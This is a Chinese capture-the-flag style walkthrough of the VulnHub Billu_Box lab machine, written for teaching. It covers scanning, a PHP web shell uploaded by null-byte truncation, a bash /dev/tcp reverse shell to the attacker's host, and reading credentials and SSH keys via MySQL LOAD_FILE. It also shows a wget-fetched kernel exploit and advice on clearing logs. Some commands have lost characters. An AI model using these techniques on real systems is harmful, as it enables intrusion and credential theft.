1. 从零开始的Billu_Box渗透之旅一次完整的靶机实战复盘最近在整理自己的渗透测试学习笔记翻到了早期在VulnHub上练习的Billu_Box靶机记录。这算是一台经典的入门到中级难度的靶机它没有太多花里胡哨的“骚操作”但涵盖了从信息收集、Web应用漏洞利用、权限提升到最终获取root权限的完整链条非常适合用来巩固基础。很多朋友在入门渗透测试时学了一堆工具和命令但面对一个完整的靶机环境常常不知道从哪里下手或者卡在某一步就进行不下去了。今天我就以Billu_Box为例把整个渗透过程掰开揉碎了讲一遍不仅告诉你“怎么做”更重点分享“为什么这么做”以及“我当时是怎么想的”。整个过程我会尽量模拟一个真实的、从零开始的渗透测试者的视角包括遇到的坑和绕的弯路希望能给正在学习的朋友提供一个清晰的参考路径。Billu_Box靶机模拟了一个存在多处漏洞的Linux服务器环境我们的最终目标是拿到系统的最高权限root shell。整个渗透路径可以概括为通过端口扫描发现Web服务对Web应用进行目录枚举和漏洞探测利用文件上传漏洞获取初始立足点然后通过信息收集发现数据库凭据进而利用数据库权限读取敏感文件最后通过一个内核漏洞完成权限提升。听起来步骤清晰但每一步都藏着细节。下面我们就开始这次实战复盘。2. 环境搭建与初步侦察确定攻击面在开始任何渗透测试之前搭建一个隔离、可控的测试环境是第一步也是保证学习过程不干扰真实网络的关键。对于VulnHub靶机我通常使用VMware Workstation或VirtualBox来运行靶机和攻击机。2.1 靶机与攻击机配置我下载了Billu_Box的OVA文件直接导入到虚拟机中。靶机的网络模式我设置为“NAT模式”或“仅主机模式”这能确保它和我的Kali攻击机处于同一个虚拟网络内同时与我的物理网络隔离。我的攻击机是一台运行Kali Linux的虚拟机这是渗透测试的标准发行版集成了我们需要的所有工具。启动两台虚拟机后第一件事是确定靶机的IP地址。由于靶机通常不会主动告知我们它的IP我们需要进行网络发现。在Kali中我打开终端使用netdiscover工具进行二层发现sudo netdiscover -r 192.168.1.0/24这里的192.168.1.0/24需要替换为你虚拟网络的实际网段。运行后工具会列出当前网络中所有活跃的IP和MAC地址。通过对比MAC地址厂商信息通常VMware/VirtualBox的MAC地址有特定前缀或尝试Ping测试我找到了靶机的IP地址假设是192.168.1.105。注意有时靶机可能设置了静态IP与你的网段不符。如果netdiscover找不到可以检查虚拟网络的DHCP服务器设置或者将靶机和攻击机都设置为“仅主机模式”并配置到同一网段。2.2 全面的端口与服务扫描拿到IP地址后下一步就是进行端口扫描以确定靶机对外开放了哪些服务这些服务就是我们的潜在攻击入口。我习惯使用nmap进行一个全面的扫描。首先是一个快速的TCP全端口扫描用于发现开放了哪些端口nmap -sS -p- 192.168.1.105-sS: 使用SYN半开放扫描速度快且相对隐蔽。-p-: 扫描所有65535个端口。扫描结果显示靶机开放了以下几个端口22/tcp: SSH服务。这是远程管理端口通常是加固的重点初期可以作为信息收集来源但直接爆破难度较大。80/tcp: HTTP服务。这是最常见的Web服务端口也是我们最有可能的突破口。111/tcp: rpcbind服务。这通常与NFS网络文件系统相关可能是一个有趣的攻击向量。3306/tcp: MySQL服务。数据库端口如果存在弱口令或配置不当可能直接获取数据甚至执行命令。看到这个结果我的注意力立刻被80端口吸引了。Web应用由于其复杂性往往是漏洞的高发区。接下来我对这些开放端口进行更细致的版本和服务探测nmap -sV -sC -O -p22,80,111,3306 192.168.1.105-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。版本扫描提供了更多信息80端口运行着Apache httpd 2.2.14这是一个较旧的版本可能存在已知漏洞3306端口运行着MySQL 5.0.51a同样是一个较老的版本。操作系统识别提示可能为Linux 2.6.X。这些版本信息为我们后续搜索漏洞提供了关键词。3. Web应用渗透寻找薄弱入口既然Web服务80端口是最显眼的入口我们的主攻方向就定在这里。标准的Web渗透流程通常从信息收集开始。3.1 目录枚举与敏感文件发现我首先用浏览器直接访问http://192.168.1.105。页面显示了一个简单的登录界面标题是“Billu Box”。尝试了常见的弱口令admin/admin, admin/password等无果。面对一个登录框常规思路是寻找后台管理页面、源码泄露、备份文件或者测试页面。我使用gobuster工具进行目录爆破。gobuster是一个用Go语言写的目录/文件爆破工具速度很快。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定模式为目录爆破。-u: 指定目标URL。-w: 指定字典文件这里使用了Kali自带的common.txt。-x: 指定要尝试的文件扩展名。爆破结果很快返回了一些有趣的路径/index.php: 主登录页面。/add.php: 看起来像是一个添加内容的页面但访问需要登录。/show.php: 显示内容的页面。/c.php: 一个简短的PHP文件访问后显示了一些PHP配置信息phpinfo()这本身就是一个信息泄露点可能暴露路径、版本等。/test.php: 另一个测试页面。/phpmyadmin/: 哇发现了phpMyAdmin的目录。这是一个用PHP编写的MySQL数据库管理工具如果配置不当如弱口令、允许远程连接将是极佳的突破口。/images/,/uploaded_images/: 图片目录可能用于存储上传的文件。3.2 初探phpMyAdmin与登录绕过尝试发现/phpmyadmin/让我精神一振。直接访问果然出现了phpMyAdmin的登录界面。我尝试了MySQL的默认空口令和常见弱口令root/空 root/root admin/admin等都没有成功。这说明管理员可能修改了默认密码或者我们需要的不是数据库的root用户。此时我回退一步思考另一个常见漏洞本地文件包含。很多Web应用会通过参数来动态包含文件如果过滤不严攻击者可以包含系统敏感文件比如/etc/passwd。我在各个已发现的页面如index.php,show.php,add.php的URL参数上尝试添加?page../../../../etc/passwd或?file../../../etc/passwd但都没有成功。3.3 深入分析“add.php”与文件上传漏洞我把注意力转回add.php。虽然直接访问它提示需要登录但也许存在认证绕过或者它本身就有漏洞。我决定用Burp Suite拦截对index.php的登录请求然后尝试修改参数或进行爆破。但在进行这一步之前我习惯性地查看了一下网页源码。在index.php的登录表单处查看源码发现表单的action指向index.php提交的参数是uname和pass。我用Burp的Intruder模块对这两个参数进行了简单的字典爆破但依然没有收获。这让我怀疑或许正确的入口不在这个主登录框。我重新审视gobuster的结果/add.php需要登录那登录逻辑在哪会不会存在另一个隐藏的登录面板或者add.php本身存在客户端校验可以被绕过我直接尝试用Burp拦截一个向add.php发送的POST请求即使我还没登录然后重放。服务器返回了“只有管理员可以访问”之类的信息但没有具体的认证错误。这说明服务端确实有会话校验。转折点出现在对test.php的分析。访问test.php页面内容很简单似乎是一个文件上传的测试接口。页面提示可以上传文件。我立刻意识到这可能是整个渗透链条的关键文件上传功能如果过滤不严可以直接上传一个Web Shell例如一句话木马PHP文件从而在服务器上执行任意命令。我创建了一个简单的PHP Web Shell文件shell.php内容如下?php system($_GET[cmd]); ?这个脚本会接收URL中cmd参数的值并将其作为系统命令执行。然后我在test.php页面上传这个文件。第一次尝试页面提示“文件类型不正确”。这说明服务端对文件类型做了检查。常见的检查方式有检查HTTP请求头中的Content-Type如image/jpeg或者检查文件扩展名如.php或者检查文件内容如文件头魔数。绕过技巧一修改Content-Type。我用Burp拦截上传请求将Content-Type: application/x-php修改为Content-Type: image/jpeg然后放行。结果依然失败。绕过技巧二修改文件扩展名。我将文件改名为shell.php.jpg再次上传并用Burp修改Content-Type为image/jpeg。这次上传成功了页面返回了文件存储的路径例如/uploaded_images/shell.php.jpg。我迫不及待地访问http://192.168.1.105/uploaded_images/shell.php.jpg?cmdid期望看到命令执行的结果uid33(www-data) gid33(www-data) groups33(www-data)。然而浏览器只显示了一张破损的图片或者什么都没有。这是怎么回事关键点服务器如何解析文件虽然我们上传的文件名是.php.jpg但服务器可能只根据最后的扩展名.jpg将其当作图片处理Apache不会用PHP解析引擎去执行它。我们的Web Shell没有生效。我们需要让服务器以PHP方式解析这个文件。这里就需要利用另一个漏洞解析漏洞。在某些特定的服务器配置下如旧版Apache的mod_php配合特定AddHandler配置或者Nginx的错误配置如果文件名像shell.php.jpg服务器可能会因为配置了AddHandler php5-script .php同时错误地认为.php是文件名的有效部分从而用PHP解析器去处理它。但在当前环境下显然不适用。真正的突破口双写扩展名或空字节截断。我尝试了另一种经典绕过方法将文件名改为shell.phtml或shell.php5因为有些服务器配置也会解析这些扩展名为PHP。但都失败了。最后我尝试了空字节截断在文件名中插入%00。在Burp中我将上传的文件名修改为shell.php%00.jpg。当这个字符串被后端某些老版本的PHP函数如move_uploaded_file处理时%00会被解释为字符串结束符导致实际保存的文件名是shell.php。我拦截请求将文件名字段改为shell.php%00.jpg然后放行。上传成功访问http://192.168.1.105/uploaded_images/shell.php?cmdid这次终于看到了梦寐以求的输出uid33(www-data) gid33(www-data) groups33(www-data)我们成功拿到了一个Web Shell并且当前用户是www-data这是Apache服务的默认运行用户我们获得了在Web服务器上的命令执行权限。4. 立足与横向移动从Web Shell到数据库拿到Web Shell只是第一步我们现在的权限很低www-data目标是要获取最高权限root。接下来需要进行信息收集寻找提权路径。4.1 建立更稳定的反向Shell通过Web Shell执行命令虽然可行但交互性很差每次都要刷新网页而且容易丢失会话。我们需要建立一个更稳定的反向Shell连接回我们的攻击机。首先在Kali攻击机上监听一个端口nc -lvnp 4444然后通过Web Shell执行命令让靶机连接回我们。因为靶机环境可能没有netcat我们使用最通用的bash反向Shellbash -c bash -i /dev/tcp/192.168.1.104/4444 01将192.168.1.104替换为你的Kali攻击机IP。在Web Shell的cmd参数里执行这个命令http://192.168.1.105/uploaded_images/shell.php?cmdbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27URL编码是必要的。执行后回到Kali的终端应该能看到连接建立并出现一个www-data用户的bash提示符。为了获得一个完全交互式的TTY Shell方便使用su、sudo、vi等需要终端的命令我们在获得的Shell中执行python -c import pty; pty.spawn(/bin/bash)或者script /dev/null -c bash然后按CtrlZ挂起在Kali终端输入stty raw -echo; fg再按一次回车。这样我们就获得了一个功能完整的反向Shell。4.2 搜集系统与数据库信息现在我们可以在靶机上自由探索了。首先进行常规的信息收集# 查看当前用户和权限 id whoami # 查看操作系统和内核版本 uname -a cat /etc/issue cat /proc/version # 查看网络连接 netstat -antp ss -tulpn # 查看进程列表 ps aux # 查看是否有sudo权限 sudo -l运行sudo -l后发现www-data用户没有任何sudo权限。这是预料之中的。接下来重点查看Web目录下的配置文件因为里面很可能包含数据库连接密码。我们切换到Web根目录通常是/var/wwwcd /var/www ls -la我们发现了一个名为index.php的文件和phpmyadmin目录。查看index.php的源码cat index.php或者用grep搜索数据库连接字符串grep -r mysql_connect\|mysqli_connect\|pdo\|password /var/www/ --include*.php很快在/var/www/下的某个配置文件或index.php本身中我们发现了类似以下的代码$conn mysql_connect(localhost, root, root123) or die(mysql_error());或者可能用户不是root而是其他名称。无论如何我们获得了MySQL数据库的用户名和密码root:root123。4.3 利用数据库权限读取敏感文件现在我们有了数据库的root密码。我们可以通过MySQL读取服务器上的文件因为MySQL的LOAD_FILE()函数在拥有足够权限时可以读取服务器文件系统中的文件。我们通过反向Shell连接到MySQLmysql -u root -p输入密码root123成功进入MySQL命令行。在MySQL中我们可以尝试读取系统的敏感文件比如/etc/passwd来查看用户列表或者/etc/shadow来获取密码哈希但需要root权限。更重要的是我们可以读取Web目录下的其他PHP源码文件或者SSH私钥。-- 读取 /etc/passwd SELECT LOAD_FILE(/etc/passwd); -- 尝试读取 /etc/shadow (通常需要系统root权限但数据库root不一定能读) SELECT LOAD_FILE(/etc/shadow); -- 读取Web目录下的其他配置文件 SELECT LOAD_FILE(/var/www/connection.php);通过读取/etc/passwd我们确认了系统上存在一个名为billu的用户。而读取/etc/shadow可能失败或返回空因为MySQL进程可能没有读取该文件的权限。关键的一步读取/home目录下的用户文件。我们尝试读取billu用户目录下的文件SELECT LOAD_FILE(/home/billu/user.txt);如果存在这可能是第一个Flag在CTF中常见。但我们的目标是提权。我们继续探索尝试读取可能存在的SSH私钥SELECT LOAD_FILE(/home/billu/.ssh/id_rsa);运气好的话我们可能会读到SSH私钥的内容。将读到的私钥内容保存到Kali本地一个文件如billu_id_rsa修改权限为600然后尝试SSH登录chmod 600 billu_id_rsa ssh -i billu_id_rsa billu192.168.1.105如果成功我们就获得了billu用户的Shell完成了从www-data到普通用户的横向移动。权限提升了一级。5. 权限提升从普通用户到Root现在我们假设已经通过数据库读取私钥或者通过其他方式比如在Web目录下找到了备份的SSH密钥获得了billu用户的Shell。我们现在的用户是billu目标是root。5.1 系统信息深度收集再次进行信息收集但这次聚焦于提权线索# 检查内核版本寻找公开的本地提权漏洞 uname -a # 输出可能类似Linux billu 2.6.32-5-686 #1 SMP ... i686 GNU/Linux # 这是一个较老的内核2.6.32存在很多已知的提权漏洞。 # 检查是否有任何程序以SUID位运行特别是那些不常见的 find / -perm -4000 -type f 2/dev/null # 检查是否有任何程序以SGID位运行 find / -perm -2000 -type f 2/dev/null # 检查哪些文件对当前用户可写特别是系统关键文件 find / -writable -type f 2/dev/null | grep -v /proc/ | grep -v /sys/ # 检查cron定时任务看是否有用户可以修改的脚本 ls -la /etc/cron* /var/spool/cron/ # 检查安装的软件版本特别是那些以root权限运行的服务 dpkg -l # 对于Debian/Ubuntu rpm -qa # 对于CentOS/RHEL5.2 利用内核漏洞提权在检查内核版本uname -a后发现是Linux 2.6.32。这是一个非常经典且存在多个本地提权漏洞的内核版本。我们可以搜索对应的漏洞利用代码Exploit。在Kali攻击机上我们可以使用searchsploit来搜索searchsploit linux kernel 2.6.32 privilege escalation这会列出很多漏洞例如著名的Dirty COWCVE-2016-5195但该漏洞影响内核版本2.6.22以后包括2.6.32。不过Dirty COW的利用通常需要编译。我们需要找一个更简单、更可能在这个老系统上编译通过的Exploit。一个非常经典且适用于2.6.32的漏洞是Linux Kernel 2.6.32 3.9.9 - perf_swevent_init Local Privilege Escalation对应的Exploit DB编号是33516。我们可以将其复制到当前目录并查看searchsploit -m 33516查看文件发现是一个C语言源码33516.c。我们需要将其上传到靶机并进行编译。首先在Kali上启动一个简单的HTTP服务器便于靶机下载文件python3 -m http.server 8080然后在靶机的billu用户Shell中下载这个Exploitcd /tmp wget http://192.168.1.104:8080/33516.c接下来编译它。靶机很可能已经安装了GCC编译器。如果没有可以尝试安装gcc包。编译命令gcc 33516.c -o exploit如果编译成功会生成一个名为exploit的可执行文件。运行它./exploit如果Exploit成功运行它会尝试提权。成功后通常你会看到命令提示符从$普通用户变成了#root用户。运行id命令确认id # 输出应为uid0(root) gid0(root) groups0(root)至此我们已经成功获得了root权限。5.3 获取最终Flag与清理痕迹获得root权限后最后的任务通常是读取最终的Flag文件。在VulnHub的靶机中Flag文件通常位于/root目录下名字可能是root.txt、proof.txt或flag.txt。cat /root/root.txt这会显示一串哈希值或特定文本标志着挑战完成。重要提示在真实渗透测试或CTF比赛中最后一步是清理痕迹在获得授权的前提下。这包括删除上传的Web Shell文件、清理系统日志如/var/log/auth.log,/var/log/apache2/access.log等、删除在/tmp目录下编译的Exploit文件等。但在VulnHub这样的练习环境中我们通常直接重置虚拟机即可。6. 渗透路径总结与核心反思回顾整个Billu_Box的渗透过程我们可以清晰地梳理出一条攻击链信息收集使用netdiscover和nmap发现靶机IP和开放服务22, 80, 111, 3306确定Web服务80为主攻方向。Web目录枚举使用gobuster发现关键路径特别是/test.php文件上传点和/phpmyadmin/。漏洞利用在test.php处通过空字节截断%00绕过文件类型检查成功上传PHP Web Shellshell.php。通过Web Shell获得www-data权限的反向Shell。权限维持与横向移动在Web目录配置文件中发现MySQL数据库凭证root:root123。利用MySQL的root权限和LOAD_FILE()函数读取系统文件可能发现SSH私钥或用户文件。通过SSH私钥登录到普通用户billu或其他用户。权限提升信息收集发现老旧内核版本2.6.32。搜索并编译对应的本地内核提权Exploit如33516.c。运行Exploit成功将权限从普通用户提升至root。目标达成读取/root/root.txt完成渗透。核心反思与经验信息收集是基石nmap和目录枚举是打开局面的关键。不要只扫描默认端口全端口扫描有时能发现意外服务。不要忽视“小”功能点像test.php这样的测试页面往往是安全防护最薄弱的地方容易成为突破口。绕过技巧的组合使用文件上传漏洞的利用往往需要结合多种绕过技巧修改扩展名、修改Content-Type、空字节截断、解析漏洞等。理解服务器校验逻辑前端JS、后端MIME类型、扩展名黑名单/白名单才能有效绕过。凭证的关联性Web应用的配置文件中常常存有数据库、其他服务的凭证。拿到一个服务的权限后要习惯性地去搜索配置文件、备份文件、历史命令寻找横向移动的跳板。数据库的妙用拥有数据库高权限账户不仅能操作数据还能利用数据库特性如LOAD_FILE,INTO OUTFILE进行文件读写这在某些情况下比Web Shell更强大。提权需要耐心枚举从普通用户到root没有固定套路。必须系统地检查SUID/SGID文件、定时任务、可写文件、内核版本、安装的软件版本等再针对性地搜索和尝试Exploit。内核提权是Linux系统最后、也往往是最有效的一关。工具是辅助思路是关键整个过程中工具nmap, gobuster, Burp, searchsploit只是加快了我们的速度。真正的核心是渗透测试的思维假设存在漏洞 - 设计测试方法验证 - 利用漏洞扩大战果 - 循环直至目标达成。Billu_Box靶机就像一本经典的教科书它把Web渗透中常见的几个关键漏洞文件上传、信息泄露、弱口令/默认口令、内核提权串联在了一起。通过这样一次完整的手动复现远比单纯运行一个自动化脚本收获更大。下次当你面对一个新的靶机或测试环境时不妨试着把这里的每一步思考过程套用上去你会发现自己的渗透思路越来越清晰。